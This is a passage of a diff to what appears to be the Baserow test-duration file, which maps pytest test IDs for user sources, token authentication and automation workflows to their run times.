"tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source": 0.10229275000165217, + "tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source_permission_denied": 0.0960808329982683, + "tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source_user_source_not_exist": 0.08540120799443685, + "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users": 0.10114233297645114, + "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users_missing_application": 0.09188387502217665, + "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users_with_search": 0.10814004196436144, + "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_sources": 0.18133220801246352, + "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_sources_w_auth_providers": 0.11209424995467998, + "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_bad_before_id": 0.09697604202665389, + "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_before": 0.11083749899989925, + "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_before_not_in_same_application": 0.11108512501232326, + "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_empty_payload": 0.10646170796826482, + "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_null_before_id": 0.10626570801832713, + "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source": 0.16633658300270326, + "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_does_not_exist": 0.0857551249791868, + "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_w_auth_providers": 0.1370748339977581, + "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_w_missing_auth_provider_type": 0.09803650001413189, + "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_with_bad_auth_providers": 0.1040383749641478, + "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_enforced": 0.1763068340078462, + "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_required": 0.09252950001973659, + "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_required_staff": 0.17199720902135596, + "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_required": 0.17149262502789497, + "tests/baserow/api/users/test_token_auth.py::test_refresh_token_is_invalidated_after_password_change": 0.3742221669817809, + "tests/baserow/api/users/test_token_auth.py::test_token_auth": 0.771724041987909, + "tests/baserow/api/users/test_token_auth.py::test_token_auth_2fa_required": 0.16067374998237938, + "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_not_required": 0.15955312497681007, + "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_not_required_staff": 0.1593467500351835, + "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_required": 0.1541602499783039, + "tests/baserow/api/users/test_token_auth.py::test_token_auth_two_factor_token_is_not_access_token": 0.15964787700795569, + "tests/baserow/api/users/test_token_auth.py::test_token_blacklist": 0.08705645898589864, + "tests/baserow/api/users/test_token_auth.py::test_token_password_auth_disabled": 0.14933837502030656, + "tests/baserow/api/users/test_token_auth.py::test_token_password_auth_disabled_superadmin": 0.16516375003266148, + "tests/baserow/api/users/test_token_auth.py::test_token_refresh": 0.12001099999179132, + "tests/baserow/api/users/test_token_auth.py::test_token_verify": 0.11823133297730237, + "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_not_required": 0.0971863750310149, + "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_not_required_staff": 0.17941149999387562, + "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_required": 0.17205908399773762, + "tests/baserow/api/users/test_token_auth.py::test_verify_token_is_invalidated_after_password_change": 0.3865406660188455, + "tests/baserow/api/users/test_user_views.py::test_additional_user_data": 0.17955445797997527, + "tests/baserow/api/users/test_user_views.py::test_change_password": 0.5557526249904186, + "tests/baserow/api/users/test_user_views.py::test_change_password_auth_disabled": 0.08757333297398873, + "tests/baserow/api/users/test_user_views.py::test_change_password_auth_disabled_staff": 0.28404379103449173, + "tests/baserow/api/users/test_user_views.py::test_create_user": 0.41312779096188024, + "tests/baserow/api/users/test_user_views.py::test_create_user_password_auth_disabled": 0.08582825100165792, + "tests/baserow/api/users/test_user_views.py::test_create_user_with_invitation": 0.19524979198467918, + "tests/baserow/api/users/test_user_views.py::test_create_user_with_template": 0.17792004303191788, + "tests/baserow/api/users/test_user_views.py::test_dashboard": 0.2909921660029795, + "tests/baserow/api/users/test_user_views.py::test_password_reset": 0.6216930830269121, + "tests/baserow/api/users/test_user_views.py::test_password_reset_email_verified_email": 0.4242859589867294, + "tests/baserow/api/users/test_user_views.py::test_schedule_user_deletion": 0.16265029201167636, + "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email": 0.40654279201407917, + "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email_password_auth_disabled": 0.09333879296900705, + "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email_password_auth_disabled_staff": 0.3151340830081608, + "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address": 0.31459962399094366, + "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_already_verified": 0.08560141699854285, + "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_inactive_user": 0.08398554098675959, + "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_user_not_found": 0.2371286260022316, + "tests/baserow/api/users/test_user_views.py::test_share_onboarding_details_with_baserow": 0.08641195797827095, + "tests/baserow/api/users/test_user_views.py::test_token_error_if_user_deleted_or_disabled": 0.09741491699242033, + "tests/baserow/api/users/test_user_views.py::test_user_account": 0.10986329198931344, + "tests/baserow/api/users/test_user_views.py::test_user_account_completed_guided_tours": 0.09516079199966043, "tests/baserow/api/users/test_user_views.py::test_verify_email_address": 0.09279189992230386, - "tests/baserow/api/users/test_user_views.py::test_verify_email_address_already_verified": 0.14974333199916146, - "tests/baserow/api/users/test_user_views.py::test_verify_email_address_inactive_user": 0.14791879200038238, - "tests/baserow/api/users/test_user_views.py::test_verify_email_address_no_login": 0.14815645799990307, - "tests/baserow/api/users/test_user_views.py::test_verify_email_address_with_login": 0.15389391699955013, + "tests/baserow/api/users/test_user_views.py::test_verify_email_address_already_verified": 0.08465416598482989, + "tests/baserow/api/users/test_user_views.py::test_verify_email_address_inactive_user": 0.08541020902339369, + "tests/baserow/api/users/test_user_views.py::test_verify_email_address_no_login": 0.08751270902575925, + "tests/baserow/api/users/test_user_views.py::test_verify_email_address_with_login": 0.09849637499428354, "tests/baserow/compat/api/actions/test_group_action_views.py::test_can_redo_an_action_and_get_correct_response_code": 8.587599950260483e-05, "tests/baserow/compat/api/actions/test_group_action_views.py::test_can_redo_an_action_group_and_get_correct_response_code": 8.37500001580338e-05, "tests/baserow/compat/api/actions/test_group_action_views.py::test_can_undo_an_action_and_get_correct_response_code": 9.27500004763715e-05, @@ -1615,753 +2503,1839 @@ "tests/baserow/compat/contrib/database/api/airtable/test_group_airtable_views.py::test_create_airtable_import_job_with_group": 9.858400062512374e-05, "tests/baserow/compat/contrib/database/api/airtable/test_group_airtable_views.py::test_get_airtable_import_job": 0.29675004000000627, "tests/baserow/compat/test_utils.py::test_prefix_schema_description_deprecated": 0.008158459000696894, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source": 0.17328995899970323, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_bad_request": 0.1482491660017331, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_page_does_not_exist": 0.1476479589991868, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_permission_denied": 0.15174416700028814, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_create_data_source_with_service_type_for_different_dispatch_type": 0.15319629099940357, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source": 0.3058731669998451, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source_data_source_not_exist": 0.1480596669989609, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_delete_data_source_permission_denied": 0.29216195899880404, - "tests/baserow/contrib/builder/api/data_sources/test_data_source_views.py::test_dispatch_data_source": 0.18867124999997031, + "tests/baserow/config/test_read_replica_router.py::test_router_switches_to_default_inside_transaction": 0.014515292015857995, + "tests/baserow/config/test_read_replica_router.py::test_router_uses_replica_outside_transaction_and_sticks": 0.014747166977031156, + "tests/baserow/config/test_read_replica_router.py::test_write_switches_to_default_and_sticks": 0.014415041980100796, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_node": 0.2257044999860227, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_node_invalid_body": 0.09363875002600253, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_node_invalid_workflow": 0.08549800101900473, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_node_reference_node_invalid": 0.21488575002877042, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_node_undo_redo": 0.1851695829827804, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_create_router_node": 0.1282130850595422, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_delete_node": 0.20076529099605978, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_delete_node_invalid_node": 0.08596304198727012, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_delete_node_undo_redo": 0.24636116699548438, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_delete_trigger_node_disallowed": 0.19890937500167638, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_deleting_router_node_with_output_nodes_disallowed": 0.2340527480118908, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_duplicate_node": 0.23257737600943074, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_duplicate_node_invalid_node": 0.08637979099876247, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_duplicate_trigger_node_disallowed": 0.12815229198895395, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_get_node_invalid_workflow": 0.08478991698939353, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_get_nodes": 0.20182883297093213, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_replace_node_type_with_irreplaceable_type": 0.19265825097681955, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_replace_node_type_with_replaceable_type": 0.2059294999926351, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_replace_node_type_with_replaceable_type_trigger": 0.12323154299519956, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_replacing_router_node_with_output_nodes_disallowed": 0.24428625000291504, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_action_node": 0.20015766602591611, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_action_node_with_sample_data": 0.21668074998888187, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_invalid_node": 0.08945750101702288, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_trigger_node": 0.17261387396138161, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_trigger_node_immediate_dispatch": 0.12261508399387822, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_simulate_dispatch_trigger_node_with_sample_data": 0.1659808740078006, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_update_node": 0.198961916990811, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_update_node_invalid_node": 0.08688741698279046, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_update_node_undo_redo": 0.24552541700541042, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_updating_router_node_removing_edge_without_output_allowed": 0.2285251260327641, + "tests/baserow/contrib/automation/api/nodes/test_nodes_views.py::test_updating_router_node_with_edge_removals_when_they_have_output_nodes_disallowed": 0.24262433298281394, + "tests/baserow/contrib/automation/api/test_automation_application_views.py::test_get_automation_application": 0.12008666602196172, + "tests/baserow/contrib/automation/api/test_automation_application_views.py::test_list_automation_applications": 0.09901079203700647, + "tests/baserow/contrib/automation/api/test_automation_serializer.py::test_serializer_get_workflows": 0.10266454200609587, + "tests/baserow/contrib/automation/api/test_automation_serializer.py::test_serializer_has_expected_fields": 0.09547254198696464, + "tests/baserow/contrib/automation/api/workflows/test_automation_workflow_serializer.py::test_automation_workflow_serializer_fields": 0.0923222910205368, + "tests/baserow/contrib/automation/api/workflows/test_automation_workflow_serializer.py::test_create_automation_workflow_serializer_fields": 0.09096345899160951, + "tests/baserow/contrib/automation/api/workflows/test_automation_workflow_serializer.py::test_update_automation_workflow_serializer_fields": 0.0907855830155313, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_create_workflow": 0.10196316702058539, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_create_workflow_automation_does_not_exist": 0.08652483398327604, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_create_workflow_duplicate_name": 0.10657591599738225, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_create_workflow_user_not_in_workspace": 0.09223999999812804, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_delete_workflow": 0.10804308400838636, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_delete_workflow_does_not_exist": 0.08586829097475857, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_delete_workflow_user_not_in_workspace": 0.16572504202486016, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_disable_workflow_test_run": 0.10222937498474494, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_duplicate_workflow": 0.14007770796888508, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_enable_workflow_test_run": 0.16239345801295713, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_get_workflow_history": 0.20504945900756866, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_get_workflow_history_invalid_workflow": 0.0866111249779351, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_get_workflow_history_permission_error": 0.26335187401855364, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_order_workflows": 0.11736350003047846, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_order_workflows_automation_does_not_exist": 0.1012360839813482, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_order_workflows_user_not_in_workspace": 0.17516520898789167, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_order_workflows_workflow_not_in_automation": 0.11065162398153916, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_publish_workflow": 0.12463083301554434, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_publish_workflow_error_invalid_workflow": 0.08647070801816881, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_read_workflow": 0.1124788329761941, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_run_workflow_in_test_mode": 0.5168187079834752, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_update_workflow": 0.10250783400260843, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_update_workflow_does_not_exist": 0.08761399998911656, + "tests/baserow/contrib/automation/api/workflows/test_workflow_views.py::test_update_workflow_duplicate_name": 0.11161191598512232, + "tests/baserow/contrib/automation/data_providers/test_data_provider_types.py::test_current_iteration_data_provider_get_data_chunk": 0.20019237499218434, + "tests/baserow/contrib/automation/data_providers/test_data_provider_types.py::test_current_iteration_data_provider_import_path": 0.10547445699921809, + "tests/baserow/contrib/automation/data_providers/test_data_provider_types.py::test_previous_node_data_provider_get_data_chunk": 0.2805493750202004, + "tests/baserow/contrib/automation/data_providers/test_data_provider_types.py::test_previous_node_data_provider_import_path": 0.18148333198041655, + "tests/baserow/contrib/automation/history/test_history_handler.py::test_create_workflow_history": 0.17779241601238027, + "tests/baserow/contrib/automation/history/test_history_handler.py::test_get_workflow_history_no_base_queryset": 0.09374349899007939, + "tests/baserow/contrib/automation/history/test_history_handler.py::test_get_workflow_history_returns_ordered_histories": 0.426396625029156, + "tests/baserow/contrib/automation/history/test_history_handler.py::test_get_workflow_history_with_base_queryset": 0.09237404199666344, + "tests/baserow/contrib/automation/history/test_history_service.py::test_get_workflow_history_permission_error": 0.2616097910213284, + "tests/baserow/contrib/automation/history/test_history_service.py::test_get_workflow_history_returns_ordered_histories": 0.4334230409876909, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_create_node_action": 0.38152829100727104, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_delete_node_action": 0.44981224898947403, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_delete_node_action_after_nothing": 0.3606316249642987, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_duplicate_node_action": 0.3689245829882566, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_duplicate_node_action_with_multiple_outputs": 0.49641995900310576, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_move_node_action": 0.4358781680057291, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_move_node_action_to_output": 0.4526162080001086, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_replace_automation_action_node_type": 0.3917816669854801, + "tests/baserow/contrib/automation/nodes/test_node_actions.py::test_replace_automation_trigger_node_type": 0.2986412090540398, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_create_row_action": 0.1960045000014361, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_create_row_action_and_advanced_formula": 0.47222241599229164, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_delete_row_action": 0.1743466250190977, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_iterator_action": 0.359654291998595, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_iterator_action_simulate": 0.2755303760059178, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_router_action": 0.27958695698180236, + "tests/baserow/contrib/automation/nodes/test_node_dispatch.py::test_run_workflow_with_update_row_action": 0.18134000003919937, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_create_node": 0.15927416700287722, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_duplicate_node": 0.18220925002242438, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_export_node": 0.17991145901032723, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_export_prepared_values": 0.17774325102800503, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_get_node": 0.18402004198287614, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_get_node_excludes_trashed_application": 0.25280712501262315, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_get_nodes": 0.11253387498436496, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_get_nodes_excludes_trashed_application": 0.24762129201553762, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_import_node": 0.1936176239978522, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_import_node_only": 0.18870658401283436, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_import_nodes": 0.1893773740157485, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_simulate_dispatch_node_action": 0.17164279200369492, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_simulate_dispatch_node_action_with_simulate_until_node": 0.3547455829975661, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_simulate_dispatch_node_action_with_update_sample_data": 0.1695004999928642, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_simulate_dispatch_node_dispatches_correct_edge_node": 0.35923012500279583, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_simulate_dispatch_node_trigger": 0.21818716602865607, + "tests/baserow/contrib/automation/nodes/test_node_handler.py::test_update_node": 0.1789609169936739, + "tests/baserow/contrib/automation/nodes/test_node_models.py::test_automation_node_get_parent": 0.17760645801899955, + "tests/baserow/contrib/automation/nodes/test_node_models.py::test_get_default_node_content_type": 0.18064820798463188, + "tests/baserow/contrib/automation/nodes/test_node_models.py::test_get_previous_service_outputs": 0.404349042015383, + "tests/baserow/contrib/automation/nodes/test_node_receivers.py::test_delete_node_delete_service": 0.21697483299067244, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_create_node": 0.1283677089959383, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_create_node_as_child": 0.13364874996477738, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_create_node_as_child_not_in_container": 0.18510166701162234, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_create_node_permission_error": 0.16365745797520503, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_create_node_reference_node_invalid": 0.18978554097702727, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_delete_node": 0.18730591601342894, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_delete_node_invalid_node_id": 0.08349483300116844, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_delete_node_permission_error": 0.25588670899742283, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_duplicate_node": 0.2159616660210304, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_duplicate_node_permission_error": 0.25572445898433216, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_get_node": 0.18251387600321323, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_get_node_invalid_node_id": 0.08669775095768273, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_get_node_permission_error": 0.2564939180156216, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_get_nodes": 0.19854308402864262, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_get_nodes_permission_error": 0.1626027089660056, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_container_after_itself": 0.499779874982778, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_container_inside_itself_should_fail": 0.5216852499870583, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_fixed_node_throws_exception": 0.18785329200909473, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_node_in_container": 0.4885557490051724, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_node_invalid_reference_node": 0.49298724901746027, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_node_outside_of_container": 0.4942347499891184, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_node_to_edge_above_existing_output": 0.40704699998605065, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_move_simple_node": 0.4794886249874253, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_replace_node_in_first": 0.38474433301598765, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_replace_node_in_last": 0.3817878320114687, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_replace_node_in_middle": 0.3920257909921929, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_replace_simple_node": 0.20090337400324643, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_update_node": 0.192281208030181, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_update_node_invalid_node_id": 0.08401641598902643, + "tests/baserow/contrib/automation/nodes/test_node_service.py::test_update_node_permission_error": 0.25239529201644473, + "tests/baserow/contrib/automation/nodes/test_node_trash_types.py::test_restoring_a_trashed_output_node_after_its_edge_is_destroyed_is_disallowed": 0.21962166600860655, + "tests/baserow/contrib/automation/nodes/test_node_trash_types.py::test_trashing_and_restoring_node_updates_graph": 0.31673879103618674, + "tests/baserow/contrib/automation/nodes/test_node_trash_types.py::test_trashing_and_restoring_node_updates_graph_with_router": 0.26241158301127143, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_create_row_dispatch": 0.1769468330021482, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_create_row_prepare_values_with_instance": 0.17738912597997114, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_create_row_prepare_values_without_instance": 0.17829433298902586, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_delete_row_dispatch": 0.17571883299387991, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_delete_row_prepare_values_with_instance": 0.18647808404057287, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_delete_row_prepare_values_without_instance": 0.2615489570016507, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_is_replaceable_with": 0.01535695799975656, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_local_baserow_rows_created_prepare_values_with_instance": 0.1718594570120331, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_update_row_dispatch": 0.18287899999995716, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_node_type_update_row_prepare_values_with_instance": 0.18057420797413215, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_automation_service_node_trigger_type_on_event": 0.13044895802158862, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_core_http_trigger_node": 0.40407833401695825, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_core_http_trigger_node_duplicating_application_sets_unique_uid": 0.3323658739682287, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_core_http_trigger_node_duplicating_workflow_sets_unique_uid": 0.335928499000147, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_duplicating_router_node": 0.4138227090006694, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_moving_router_node_allowed_with_next_on_default_edge": 0.3115649589744862, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_moving_router_node_not_allowed_with_next_on_edge": 0.4105019170092419, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_on_event_excludes_disabled_workflows": 0.2617939170158934, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_service_node_type_local_baserow_rows_created_prepare_values_without_instance": 0.17137683401233517, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_cant_be_moved[http_trigger]": 0.19308208295842633, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_cant_be_moved[local_baserow_rows_created]": 0.19425199998659082, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_cant_be_moved[local_baserow_rows_deleted]": 0.20073537499411032, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_cant_be_moved[local_baserow_rows_updated]": 0.20307845796924084, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_cant_be_moved[periodic]": 0.19392674998380244, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_node_dispatch_returns_event_payload_if_not_simulated": 0.18813224902260117, + "tests/baserow/contrib/automation/nodes/test_node_types.py::test_trigger_node_dispatch_returns_sample_data_if_simulated": 0.1875840410066303, + "tests/baserow/contrib/automation/search/test_automation_search_types.py::test_automation_search_type_basic_functionality": 0.31238604098325595, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_automation_application_import": 0.14247595801134594, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_automation_export_serialized": 0.19145962496986613, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_automation_init_application": 0.09763125100289471, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_enhance_queryset": 0.12095466500613838, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_fetch_workflows_to_serialize_with_user": 0.09652979101520032, + "tests/baserow/contrib/automation/test_automation_application_types.py::test_fetch_workflows_to_serialize_without_user": 0.09655624796869233, + "tests/baserow/contrib/automation/test_automation_handler.py::test_get_automation": 0.01852283300831914, + "tests/baserow/contrib/automation/test_automation_handler.py::test_get_automation_does_not_exist": 0.015591333009069785, + "tests/baserow/contrib/automation/test_core_handler_automation.py::test_can_duplicate_automation_application": 0.09527908300515264, + "tests/baserow/contrib/automation/test_migrations.py::test_0013_apply_previous_node_ids_forwards": 9.658298222348094e-05, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[False-False-True-live]": 7.599996752105653e-05, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[False-True-False-disabled]": 0.00023862600210122764, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[False-True-True-disabled]": 0.00010412500705569983, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[True-False-True-paused]": 0.00017208303324878216, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[True-True-False-disabled]": 6.945800851099193e-05, + "tests/baserow/contrib/automation/test_migrations.py::test_0015_forwards_fill_state_paused[True-True-True-disabled]": 6.416699034161866e-05, + "tests/baserow/contrib/automation/test_object_scopes.py::test_get_filter_for_scope_type": 0.013989874016260728, + "tests/baserow/contrib/automation/test_object_scopes.py::test_raises_if_scope_type_invalid": 0.014184499974362552, + "tests/baserow/contrib/automation/test_trash_types.py::test_trashing_automation_deletes_published_automations": 0.15906670902040787, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_create_do": 0.09796058398205787, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_create_redo": 0.11052583300624974, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_create_undo": 0.09285429201554507, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_delete_do": 0.10465116702835076, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_delete_redo": 0.11513045799802057, + "tests/baserow/contrib/automation/workflows/test_actions.py::test_delete_undo": 0.1110139169904869, + 